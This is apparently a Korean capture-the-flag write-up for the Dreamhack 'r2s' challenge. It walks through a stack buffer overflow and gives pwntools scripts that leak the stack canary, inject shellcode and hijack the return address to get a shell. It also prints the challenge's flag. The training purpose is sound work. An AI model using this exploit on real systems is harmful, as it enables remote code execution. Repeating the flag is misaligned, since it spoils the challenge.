Canary found.
카나리 방어 기법이 걸려있다.
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50]; //80 bytes만큼 할당
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf); //buf의 주소와 buf ~ $rbp 의 offset을 출력
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100); //사용자로부터 buf에 0x100 (256 bytes) 만큼 입력받는데 할당된 buf보다 입력값이 크므로 버퍼 오버플로우가 발생
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: "); //사용자가 입력한 값을 출력
fflush(stdout);
gets(buf); //buf에 크기 제한 없이 사용자 입력을 받아 버퍼 오버플로우를 유발
return 0;
}
r2s.c 이다.
main 함수를 보자.
buf는 0x50 즉, 80 bytes만큼 할당된다. 16진수로 50은 10진수로 80이므로.
printf 함수로 buf의 주소와 buf ~ $rbp 의 offset을 출력한다.
read 함수를 통해 사용자로부터 buf에 0x100 (256 bytes) 만큼 입력받는다.
이 때, 할당된 buf보다 입력값이 크므로 버퍼 오버플로우가 발생한다.
printf 함수를 통해 사용자가 입력한 값을 출력한다.
gets 함수로 buf에 크기 제한 없이 사용자 입력을 받아 버퍼 오버플로우를 유발한다.
실행시켜보면,
buf ~ $rbp 사이 거리가 96 bytes인데 read로 입력받은 값이 256 bytes이므로 카나리릭을 할 수 있다.
스택 구조는 아래와 같다.
RET[8]
SFP[8]
canary[8]
buf[80]
문제에서 쉘을 따는 함수가 주어지지 않아서 shellcode를 삽입해야 한다.
buf[80] + dummy[8] => 총 88bytes의 dummy를 넣으면 canary에 도달한다.
shellcode를 buf에 저장하여 RET을 buf 주소로 연결하면, main 함수가 끝나는게 아니라 다시 buf로 실행 흐름이 넘어와 shellcode를 실행한다.
먼저 카나리릭을 한 후 기존 buf 크기와 sfp 크기와 동일한 크기의 dummy 값을 넣어야 RET에 도달한다.
카나리가 총 8바이트인데 맨 앞은 \x00 이다.
printf 함수는 null byte가 올 때까지의 데이터를 모두 출력한다.
\x00를 만나면 이후의 값은 출력하지 않는단 말이다.
그러므로 카나리 첫번째 byte까지 dummy로 채우면 남은 7byte의 카나리 값을 릭할 수 있다.
즉 buf~canary +1 크기인 dummy[89]
카나리를 릭하는 코드를 짜보자.
from pwn import *
context.log_level = 'debug'
p =remote('host3.dreamhack.games', 15355)
e =ELF('./r2s')
#buf address
p.recvuntil('Address of the buf: ')
buf = int(p.recv(14), 16)
#offset
p.recvuntil('Distance between buf and $rbp: ')
offset = int(p.recv(2))
print("[+] Address of buf:", hex(buf))
print("[+] buf <=> sfp:", hex(offset))
print("[+] buf <=> canary:", hex(offset-8))
#canary leak
p.recvuntil("Input: ")
payload = b"a"*89
p.send(payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recv(7))
print("[+] canary:", hex(canary))
#log.info("[+] canary: 0x%x" %canary)
카나리 값이 출력되었다.
exploit을 위한 payload를 짜보자.
[shellcode & dummy] * 0x58 + [canary] + dummy * 8 + [buf addr]
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
context.arch = "amd64"
p = remote("host3.dreamhack.games", 15355)
# buf[] 주소
p.recvuntil("buf: ")
buf_address = int(p.recvline()[:-1], 16)
log.info("Buffer Address : "+hex(buf_address))
# from buf[] to rbp & from buf[] to canary
p.recvuntil("rbp: ")
distance = p.recvuntil("\n")
distance = int(distance[0:len(distance)-1])
canary_distance = distance - 0x8
log.info("from buf[] to rbp distance : "+hex(distance))
log.info("from buf[] to canary distance : "+hex(canary_distance))
# canary leak
leak = b'A'*(canary_distance + 1)
p.sendafter("Input: ", leak)
p.recvuntil(leak)
canary = u64(b'\x00' + p.recvn(7))
log.info("Canary : "+hex(canary))
shellcode = asm(shellcraft.sh())
# exploit
payload = shellcode.ljust(canary_distance, b'A')
payload += p64(canary)
payload += b'B'*0x8
payload += p64(buf_address)
p.sendafter("Input: ", payload)
p.interactive()
DH{333eb89c9d2615dd8942ece08c1d34d5}
'Wargame > Dreamhack' 카테고리의 다른 글
[Dreamhack] Return to library (0) | 2023.09.24 |
---|---|
[Dreamhack] ssp-001 (0) | 2023.09.24 |
[Dreamhack] basic_exploitation_000 (0) | 2023.09.17 |
[Dreamhack] XSS-1 (0) | 2023.09.14 |
[Dreamhack] FFFFAAAATTT (0) | 2023.04.02 |